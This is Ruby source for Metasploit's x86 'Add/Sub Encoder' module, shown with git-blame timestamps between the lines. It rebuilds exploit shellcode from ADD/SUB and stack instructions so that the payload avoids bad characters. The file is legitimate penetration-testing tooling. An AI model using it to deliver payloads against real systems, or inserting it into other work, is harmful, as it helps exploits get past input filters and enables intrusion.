2013-04-08 17:51:39 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-04-08 17:51:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Encoder
|
2013-04-08 17:51:39 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ManualRanking
|
2013-04-08 17:51:39 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Add/Sub Encoder',
|
|
|
|
'Description' => %q{
|
|
|
|
Encodes payload with add or sub instructions. This idea came
|
|
|
|
from (offensive-security) muts' hp nnm 7.5.1 exploit.
|
|
|
|
},
|
|
|
|
'Author' => 'Melih Sarica <ms[at]sevure.com>',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Decoder' =>
|
|
|
|
{
|
|
|
|
'BlockSize' => 4
|
|
|
|
})
|
|
|
|
end
|
2013-04-08 17:51:39 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def add_or_sub(avchars)
|
|
|
|
add = [0x05, 0x50, 0x58, 0x25, 0x54, 0x5C]
|
|
|
|
sub = [0x2D, 0x50, 0x58, 0x25, 0x54, 0x5C]
|
|
|
|
return 1 if add.all?{|ch|avchars.include?ch.chr}
|
|
|
|
return 2 if sub.all?{|ch|avchars.include?ch.chr}
|
|
|
|
return 0
|
|
|
|
end
|
2013-04-08 17:51:39 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def write_inst(inst, mcode)
|
|
|
|
@data << inst
|
|
|
|
if mcode != 0
|
|
|
|
for i in 0...4
|
|
|
|
t = mcode & 0x000000FF;
|
|
|
|
@data << t
|
|
|
|
mcode = mcode >> 8;
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2013-04-08 17:51:39 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def rand_with_av_chars()
|
|
|
|
t2 = 0
|
|
|
|
for i in 0...4
|
|
|
|
c = @avchars[rand(@avchars.size)].ord.to_i()
|
|
|
|
t2 = t2 <<8
|
|
|
|
t2 += c
|
|
|
|
end
|
|
|
|
return t2
|
|
|
|
end
|
2013-04-08 17:51:39 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def check_non_av_chars(target)
|
|
|
|
for i in 0...4
|
|
|
|
t = target & 0x000000FF;
|
|
|
|
return true if not @avchars.include?t.chr
|
|
|
|
target = target >> 8;
|
|
|
|
end
|
|
|
|
return false
|
|
|
|
end
|
2013-04-08 17:51:39 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def encode_inst(target)
|
|
|
|
begin
|
|
|
|
a = rand_with_av_chars()
|
|
|
|
b = rand_with_av_chars()
|
|
|
|
c = target - a - b if @set == 1
|
|
|
|
c = 0 - target - a - b if @set == 2
|
|
|
|
c = c%(0xFFFFFFFF+1)
|
|
|
|
end while check_non_av_chars(c) == true
|
|
|
|
write_inst(@inst["opcode"], a)
|
|
|
|
write_inst(@inst["opcode"], b)
|
|
|
|
write_inst(@inst["opcode"], c)
|
|
|
|
end
|
2013-04-08 17:51:39 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def encode_shellcode(target, z1, z2)
|
|
|
|
write_inst(@inst["and"], z1);
|
|
|
|
write_inst(@inst["and"], z2);
|
|
|
|
encode_inst(target);
|
|
|
|
write_inst(@inst["push"], 0);
|
|
|
|
end
|
2013-04-08 17:51:39 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def decoder_stub(state)
|
|
|
|
buf = ""
|
|
|
|
shellcode = state.buf.split(//)
|
|
|
|
while shellcode.size>0
|
|
|
|
buf << shellcode.pop(4).join
|
|
|
|
end
|
|
|
|
state.buf = buf
|
|
|
|
@data = ""
|
|
|
|
@avchars = ""
|
|
|
|
for i in 0..255
|
|
|
|
@avchars = @avchars + i.chr.to_s if not state.badchars.include?i.chr.to_s
|
|
|
|
end
|
|
|
|
offset = (datastore['BufferOffset'] || 0).to_i
|
|
|
|
@inst = {}
|
|
|
|
@set = add_or_sub(@avchars)
|
|
|
|
if @set == 0 then
|
2015-05-18 20:33:01 +00:00
|
|
|
raise EncodingError, "Bad character list includes essential characters."
|
2013-08-30 21:28:54 +00:00
|
|
|
exit
|
|
|
|
elsif @set == 1 then #add
|
|
|
|
@inst["opcode"] = 0x05
|
|
|
|
else #sub
|
|
|
|
@inst["opcode"] = 0x2d
|
|
|
|
end
|
|
|
|
@inst["push"] = 0x50
|
|
|
|
@inst["pop"] = 0x58
|
|
|
|
@inst["and"] = 0x25
|
|
|
|
@inst["push_esp"] = 0x54
|
|
|
|
@inst["pop_esp"] = 0x5c
|
|
|
|
if state.buf.size%4 != 0 then
|
2015-05-18 20:33:01 +00:00
|
|
|
raise EncodingError, "Shellcode size must be divisible by 4, try nop padding."
|
2013-08-30 21:28:54 +00:00
|
|
|
exit
|
|
|
|
end
|
|
|
|
#init
|
|
|
|
write_inst(@inst["push_esp"], 0)
|
|
|
|
write_inst(@inst["pop"], 0)
|
|
|
|
encode_inst(offset)
|
|
|
|
write_inst(@inst["push"], 0)
|
|
|
|
write_inst(@inst["pop_esp"], 0)
|
|
|
|
#zeroing registers
|
|
|
|
begin
|
|
|
|
@z1 = rand_with_av_chars()
|
|
|
|
@z2 = rand_with_av_chars()
|
|
|
|
end while @z1&@z2 != 0
|
|
|
|
decoder = @data
|
|
|
|
return decoder
|
|
|
|
end
|
2013-05-31 23:47:46 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def encode_block(state, block)
|
|
|
|
#encoding shellcode
|
|
|
|
@data = ""
|
|
|
|
target = block.split(//)
|
|
|
|
return if target.size<4
|
|
|
|
t = 0
|
|
|
|
for i in 0..3
|
|
|
|
t1 = target[3-i][0].ord.to_i
|
|
|
|
t = t<<8
|
|
|
|
t = t + t1
|
|
|
|
end
|
|
|
|
encode_shellcode(t, @z1, @z2);
|
|
|
|
encoded = @data
|
|
|
|
return encoded
|
|
|
|
end
|
2013-04-08 17:51:39 +00:00
|
|
|
end
|
|
|
|
|